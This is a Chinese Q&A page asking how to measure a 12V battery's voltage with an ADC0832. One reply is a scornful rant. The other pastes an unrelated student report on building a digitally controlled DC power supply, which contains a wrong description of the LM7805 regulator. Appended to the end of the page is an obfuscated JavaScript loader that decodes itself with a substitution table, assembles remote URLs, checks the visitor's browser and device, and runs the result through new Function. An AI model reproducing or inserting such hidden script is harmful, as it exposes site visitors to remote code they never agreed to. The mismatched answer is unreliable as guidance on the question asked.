单片机控制12V蓄电池的充放电用ADC0832怎样采集蓄电池的实际电压

2025-03-24 15:08:21
推荐回答(2个)
回答1:

我靠!又一个学单片机学死了!三极管加运放就能搞定!硬要用单片机!小伙子,你的电路知识有待提高!

回答2:

电子技术课程设计报告

简易数控直流电源
目 录
一、 设计任务书………………………………………………………………… 1
二、 设计框图及电路系统概述………………………………………………… 2
三、 各单元电路的设计方案及原理说明……………………………………… 2
四、 调试过程及结果分析……………………………………………………… 9
五、 芯片介绍…………………………………………………………………… 9
六、 设计安装及调试中的体会………………………………………………… 16
七、 收获和建议………………………………………………………………… 17
参考文献………………………………………………………………………… 17

一、设计任务书
1. 设计任务
设计出有一定输出电压范围和功能的数控电源。其原理示意图如图1所示。

图1 数控电源原理示意图
2. 设计要求
1) 基本要求
(1) 输出电压:范围0~+9.9V,步进0.1V,纹波不大于10mV;
(2) 输出电流:500mA;
(3) 输出电压值由数码管显示;
(4) 由“+”、“-”两键分别控制输出电压步进增减;
(5) 为实现上述几部件工作,自制一稳压直流电源,输出±15V,+5V。
2) 发挥部分
(1) 输出电压可预置在0~9.9V之间的任意一个值;
(2) 用自动扫描代替人工按键,实现输出电压变化(步进0.1V不变);
(3) 扩展输出电压种类(比如三角波等)。

二、 设计框图及电路系统概述

图2 简易数控直流电源总体电路框图
经分析可知,本设计需要两组外部数据表达部分:一个是直流电压的输出部分;另一个是数码显示部分。由此推得整个电路设计中需要一个稳压电路模块作为直流电源的输出部分,另外还需要一个译码显示电路部分模块作为显示部分。继续向前分析显然得知显示部分需要与数字量的输入相对应,而要求中有“由‘+’、‘-’两键分别控制输出电压步进增减”,则在预置按键与译码器之间需要有一个计数器作为桥梁,将二者紧密的连接起来以实现功能。但前面的电路均属于数字电路部分,而整个电路的输出部分为模拟量,所以很明显需要一个数模转换模块将计数器模块中输出的数字量转化为模拟量。经过上述分析,整个设计要求的功能便可以完美的实现了。
另外,实验要求设计自制一个稳压直流电源,输出±15V,+5V,整个设计部分只可使用220V的交流电源,而大部分芯片的工作要求为在直流5伏下,LM324要在 15V的条件下工作,所以在电路设计中还需要加入一个直流电源模块以实现功能。
三、 各单元电路的设计方案及原理说明
本实验设计电路分为五块部分,分别为:计数器输入模块、译码显示模块、D/A转换模块、直流电压输出模块和直流稳压电源模块。下面,将分别介绍各单元电路的设计方案及原理说明。
1.计数器输入模块
两按钮开关作为电压调整键与可逆计数器的加计数和减计数输入端相连,可逆计数器采用两片四位十进制同步加/减计数集成块74LS192级联而成,把第一块的进位和借位输出端分别接到下一组的加计数端和减计数端。两级计数器总计数范围从00000000至01100011(即0~99)。并将每一个输入端与按键相连,从而实现预制功能,将低片的74LS192的加记数、减记数各自再连一个按键来达到由“+”、“-”两键分别控制输出电压步进增减的效果。但由于74LS192的计数 在高电平时, 在上升沿时计数一次,所以要使74LS192的 和 在空闲时为高电平,我们用下面电路来实现这个要求。此部分原理图请见图3所示。

图3 计数器输入模块式原理图

2.译码显示模块
此模块主要是根据芯片74LS248的译码原理及共阴数码管的管脚特点进行电路搭配。数字显示译码驱动采用两块74LS248集成块,74LS248为四线-七段译码器/驱动器,内部输出带上拉电阻,它把从计数器传送来的二进制的8421BCD码转换成十进制码,并驱动数码管显示数码。输出后接入两个共阴数码管显示,分别显示的是高位和低位,并使高位数码管的点持续保持显示状态。连接电路如图4所示。

图4 译码显示模块原理图
3.D/A转换模块
从74LS192输出的二进制数通过两片74LS83实现把两个四位二进制数转化成一个八位二进制数。例如,将9.9的1001、1001转化成10011001。通过两片74LS83经过级联可以实现此项任务。
数模转换电路采用一块DAC0832集成块,它是一个8位数/模转换器。由于DAC0832不包含运算放大器,所以需要外接一个运算放大器相配,才构成完整的D/A转换。把DAC0832的两个输出端 和 分别接到运算放大器LM324的两个输入端上,经过一级运放得到单极性输出电压为 ,(D为输入的二进制数转化成十进制数, 为基准电压)。即可实现数字到模拟的转换过程。连接电路如图5所示。

图5 D/A转换模块原理图
4.直流电压输出模块
再将 经过运算放大器反向放大合适倍数即可达到实验要求中的0~9.9V。通过在实验室的实际搭接,测出反向放大的比例约为15K/76.8K。输出的电压再经过LM317实现直流稳压输出。其连接电路图如图6所示。

图6 直流电压输出模块原理图
5.直流稳压电源模块
要完成D/A转换及可调稳压器的正常工作,运算放大器LM324必须要求 15V双电源供电,数字控制电路要求5V电源。因此我们要设计一个直流稳压电源。其连接电路图请见图7所示。

图7 直流稳压电源模块原理图
1) 直流稳压电源的基本原理
直流稳压电源一般由电源变压器T、整流滤波电路及稳压电路所组成,基本框图如图8所示下。

图8 直流稳压电源的基本原理
下面将就各部分的作用作简单陈述。
① 电源变压器T的作用是将电网220V的交流电压变换成整流滤波电路所需要的交流电压Ui。变压器副边与原边的功率比为P2/ P1=η,式中η是变压器的效率。
② 整流滤波电路:整流电路将交流电压Ui变换成脉动的直流电压。再经滤波电路滤除较大的纹波成分,输出纹波较小的直流电压U1。常用的整流滤波电路有全波整流滤波、桥式整流滤波等。原理图如图9所示。

图9 整流滤波电路原理图
各滤波电容C满足RL-C=(3~5)T/2,其中T为输入交流信号周期,RL为整流滤波电路的等效负载电阻。
③ 三端集成稳压器:常用的集成稳压器有固定式三端稳压器与可调式三端稳压器。其中固定式稳压器有7800和7900系列。7800输出正电压,7900输出负电压,根据本设计要求,我们选用7805,7815和7915。
2) 稳压电流的性能指标及测试方法
稳压电源的技术指标分为两种:一种是特性指标,包括允许输入电压、输出电压、输出
电流及输出电压调节范围等;另一种是质量指标,用来衡量输出直流电压的稳定程度,包括稳压系数(或电压调整率)、输出电阻(或电流调整率)、纹波电压(纹波系数)及温度系数。测试电路如下图图10所示。

图10 稳压电源性能指标测试电路
① 纹波电压: 叠加在输出电压上的交流电压分量。用示波器观测其峰峰值一般为毫伏量级。也可用交流毫伏表测量其有效值,但因纹波不是正弦波,所以有一定的误差。
② 稳压系数: 在负载电流、环境温度不变的情况下,输入电压的相对变化引起输出电压的相对变化。
③ 电压调整率: 输入电压相对变化为±10%时的输出电压相对变化量,稳压系数和电压调整率均说明输入电压变化对输出电压的影响,因此只需测试其中之一即可。
④ 输出电阻及电流调整率: 输出电阻与放大器的输出电阻相同,其值为当输入电压不变时,输出电压变化量与输出电流变化量之比的绝对值.电流调整率:输出电流从0变到最大值时所产生的输出电压相对变化值。输出电阻和电流调整率均说明负载电流变化对输出电压的影响,因此也只需测试其中之一即可。
综上所述,简易数控直流电源的总电路图如下页图11所示。

图11 总设计电路图
四、 调试过程及结果分析
1. 电路调试
调节步骤如下所示。
1) 输入数字00000000,用数字万用表检测,输出电压为 =0±1mV。然后按加减计数按钮,可以实现以0.1步进加减计数。两位数码管上显示的即为输出电压值,输出部分电压可用万用表测出。
2) 通过对两个74LS192进行预置,可以任意预置0~9.9之间的一个数,测量输出电压,与预置相符。
3) 对74LS192预置数字1001、1001,输出电压 达到预定的满量程值9.9V。
2.主要技术指标
本实验所设计出的数控直流电源的电压输出范围为0~9.9V,步进值为0.1V,输出纹波电压不大于10mV,输出电流为500mA。
3. 结果分析
通过调试,我们的电路板完全符合实验要求,实现了一切基本功能,并进行了发挥,即输出电压可预置在0~+9.9V之间的任意一个数。但同时也存在一点瑕疵,用按键控制加、减步进时不太稳定,原因是我们在购买按键时没有考虑到要使用防抖动开关。
五、 芯片介绍
1. 74LS192
74LS192管脚图如图12所示,功能表如图13所示。

图12 74LS192管脚图

图13 74LS192功能表
其中0、D1、D2、D3——置数并行数据输入;Q0、Q1、Q2、Q3——计数数据输出;CR??——清零端;LD——置数端; ——加法计数CP输入; ——减法计数CP输入;CO——进位输出端;BO——借位输出端。
可逆计数:
加减控制方式:控制信号为1时加计数,为 0时减计数。
双时钟方式:外部时钟从CP+端输入时加计数,从CP-端输入时减计数。
预置功能:所谓预置,就是控制端 =0时,使计数器的状态变成设定的外部输入常数,即QDQCQBQA=DCBA(输入数据)。
同步预置方式: =0且下一个时钟有效边沿到来时完成预置。
异步预置方式: =0后立即预置数据送入各触发器,与CP无关。
复位功能:所谓复位,就是从复位端输入有效信号后,计数器恢复成初始状态(全0或某个常数)。同步复位方式:用复位信号与时钟信号CP配合完成。异步复位方式:用复位信号直接完成,与CP无关。
时钟边沿选择:同步计数器一般用上升沿触发,异步计数器一般用下降沿触发。有的同步计数器有两个时钟输入端,既可用上升沿触发,也可用下降沿触发。
其它功能:计数器满模值时,产生一个进位输出CO信号或借位输出BO信号,作为标志信号或进位功能扩展。计数控制输入端(P、T),用来控制计数器是否计数。多片计数器级联时,可控制各级计数器的工作。
2. 74LS248
74LS248管脚图如图14所示。

图14 74LS248管脚图
74LS248译码器是典型的组合数字电路,译码器是将一种编码转换为另一种编码的逻辑电路。显示译码器是一种和显示器件结合的译码器,目前用于电子电路系统中的显示器件主要有发光二极管组成的各种显示器件和液晶显示器件。这二种显示器件都有笔划段和点阵型两大类,笔划段型的由一些特定的笔划段组成,以显示一些特定的字型和符号;点阵型的由许多成行成列的发光元素点组成,由不同行和列上的发光点组成一定的字型、符号和图形。
它的译码器逻辑图如图15所示。

图15 三变量最小向译码器逻辑图
74LS248逻辑功能如下所示。
1) 显示功能
DCBA是二进制码输入,要正确的执行显示功能,有关的功能端必须接合适的逻辑电平,这些功能端的作用随后介绍。对于0~9输入,DCBA相当BCD8421码。当超过9以后,译码器仍然有字型输出,具体见图16所示。当DCBA=1111时,数码管熄灭。实验时要在笔划段电极串联电阻,以保护LED数码管。

图16 74LS248显示字型与输入的对应关系

2) 灭灯输入
BI(Blaking input)为灭灯输入,低电平有效,整个数码管熄灭,而且灭灯输入的优先级最高,灭灯时,其它功能都无法执行。

3) 试灯输入
LT(Lamp Test Input)为试灯输入,低电平有效,整个数码管点亮,显示8。用于检查数码管和译码器是否有缺欠。优先级次于灭灯输入。

4) 动态灭“0”输入
RBI( Rpiile Blanking Input )为动态灭灯输入,低电平有效,当RBI=0时,且DCBA=LLLL时,数码管熄灭;若DCBA1LLLL时,译码器照常显示,显示字型取决于输入。动态灭灯输入用于多个译码器级联时,消隐无用的前零和尾零,具体电路如图17所示。

图17 动态灭“0”输入电路

3. LM324
LM324管脚图如图18所示。

图18 LM324管脚图

LM324是四运放集成电路,它采用14脚双列直插塑料封装,外形如图所示。它的内部包含四组形式完全相同的运算放大器,除电源共用外,四组运放相互独立。
每一组运算放大器可用图19所示的符号来表示,它有5个引出脚,其中“+”、“-”为两个信号输入端,“V+”、“V-”为正、负电源端,“Vo”为输出端。两个信号输入端中,Vi-(-)为反相输入端,表示运放输出端Vo的信号与该输入端的相位相反;Vi+(+)为同相输入端,表示运放输出端Vo的信号与该输入端的相位相同。LM324的引脚排列见图19。

图19 LM324的符号及引脚排列

4. 74LS83
74LS83管脚图如图20所示,功能表如图21所示。

图20 74LS83管脚图
74LS83是加法器,其输出为两个输入A、B的二进制之和。通过简单的级联,可以实现乘法。

图21 74LS83功能表

5. DAC0832
DAC0832管脚图如图22所示。

图22 DAC0832管脚图
DAC0832的原理框图如图23所示。
由图可知数字量是通过两级寄存器送至D/A转换器的输入端。两级锁存器可做到当后一级锁存器正输出给D/A转换时,前一级又可接收新的数据,从而提高了转换速度,WR1和WR2是用来分别控制两级锁存器的。

图23 DAC0832的原理框图

6. LM7805
LM7805为简单的三端稳压元件,它由于可以输出稳定的+5V电压而受到广泛应用。

图24 LM7805电路图
本实验要求自制稳压电源以提供芯片工作所需电压。为了使输出的5V电压不受电路其他元件的影响,我们选用了7805。它的工作范围广泛,输入电压在5-24V时均可以保证输出为稳定的+5V。
其稳压过程是:根据电网线路输入电压的变化,通过电压检测单元采样,将变化电压的模拟信号转换数字信号;通过微电脑,经预先编制的程序及预置数据进行处理。由单片机智能控制系统发出的指令传导给光电隔离耦合器,驱动既无触点快速的电子开关电路,对输出电压进行适量、精确无误的补偿,从而使输出电压调整在精度允许误差的范围内,以达到完成自动稳压的目的。
7.LM7815
其原理和应用电路同7800系列,输入要求大于15V,输出为稳定的15V。

8. LM7915
LM7915原理电路图如图25所示。其输出为稳定的-15V。

图25 LM7915原理电路图
9. LM317
CW317(LM317)系列是常用可调式正压集成稳压器,它们的输出电压从1.25V-37伏可调,最简的电路外接元件只需一个固定电阻和一只电位器。其芯片内有过渡、过热和安全工作区保护,最大输出电流为1.5A。其典型电路如图2,其中电阻R1与电位器R2组成输出电压调节器,输出电压Uo的表达式为:Uo=1.25(1+R2/R1)式中R1一般取120-240欧姆,输出端与调整端的压差为稳压器的基准电压(典型值为1.25V)。其连接电路图如图26所示。

图26 LM317稳压连接电路图
其中,1、2脚之间为1.25V电压基准。为保证稳压器的输出性能,R1应小于240欧姆。改变R2阻值即可调整稳压电压值。D1,D2用于保护LM317。Uo=(1+R2/R1)*1.25

六、 设计、安装及调试中的体会

虽然在上学期做过数字电路板的设计,对整个电路设计流程有了一定的了解,然而本次课程设计还是让我们有了更多、更新的收获。
首先在电路设计过程中明显感受到一种学有所用的感觉,电路分析、模拟电路、数字电路甚至于本学期刚学的电子测量的知识在此刻都成了“克敌制胜”的宝贝。在此设计中,数字电路的知识体现的更为明显,计数器、译码器、加法器、D/A转换等等,可以说是应有尽有。在设计的过程中我们深刻体会到了平时基础知识的重要性。另外在设计输出的过程中,如何稳压成了困住我们的一大难题。不过通过多方查资料、询问及不断的尝试,最终利用LM317完成了功能。最让我们头疼的就是直流5V及 15V的输出问题。在中发电子市场走了个遍也没有找到符合要求的变压器,最终还是通过一本书的介绍找到了如何利用7805、7815、7915实现变压转换。由此我们体会到,不但要学会用自己已有的知识去创造,更要学会利用现有的成果为己所用。
其次,做电路板的过程可谓道路艰辛。我们的最初计划是用PCB来完成,但当实验品完成后,发现设计软件中的一些走线规定在功能实现上总存有一些隐患,经三人协商,为稳妥起见,决定自己手焊!经过上学期的洗礼,我们的焊接技术可谓炉火纯青,但是疏忽及危险还是不容忽视的。因为厂家的原因,所买的板子某些本该分开的焊点连到了一起,这给我们带来了极大的不便,在我们发现这一问题并将其改正后,曙光重现!另外因为在设计中涉及到变压器的使用,而它又与220V连接,所以经常有放电现象,所以可见焊接过程不但是对技术的考验,更是对勇气的考验。
因为在设计及焊接的过程中,我们的要求是每焊一步就确保一步,所以随着焊接工作的完成,我们的产品——数控直流稳压源也平安、健康的来到了这个美好的世界,实现了它的价值。
本次课程设计的意义决不仅仅是几个月的付出一个板子的完成这么简单,它带给我们的还有运用所学知识的自豪感,在电子市场上与社会的接触,三个人互相理解、默契配合、分工合作的感觉……总之在本次设计中我们学到了很多。

七、 收获和建议

通过这次课程设计,我们不仅对直流稳压电源这部分知识有了深刻的理解。更重要的是我们充分了解了小组合作的重要性,一个人是不可能完成所有任务的。而且,还有了做课程设计的经验,知道了做一个成品出来的一个大概流程,这对我们以后的学习和工作都大有好处。另外,课程设计所给的时间差不多是一个学期,比较宽松。但我们在学期的前半段时间里都没怎么抓紧时间,以至在之后的时间做得比较紧张。
最后,我们希望以后实验室能开放时间更长一些,这学期开放时间明显比上学期少,有时候感觉很不方便。

参考文献
[1] 侯建军. 数字电子技术基础. 北京:高等教育出版社,2003年.
[2] 林肯(美). 电子电路设计手册[专著]. 北京:科学普及出版社,2000年.
[3] 邓勇. 数字电路设计完全手册. 北京: 国防工业出版社,2001年.

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();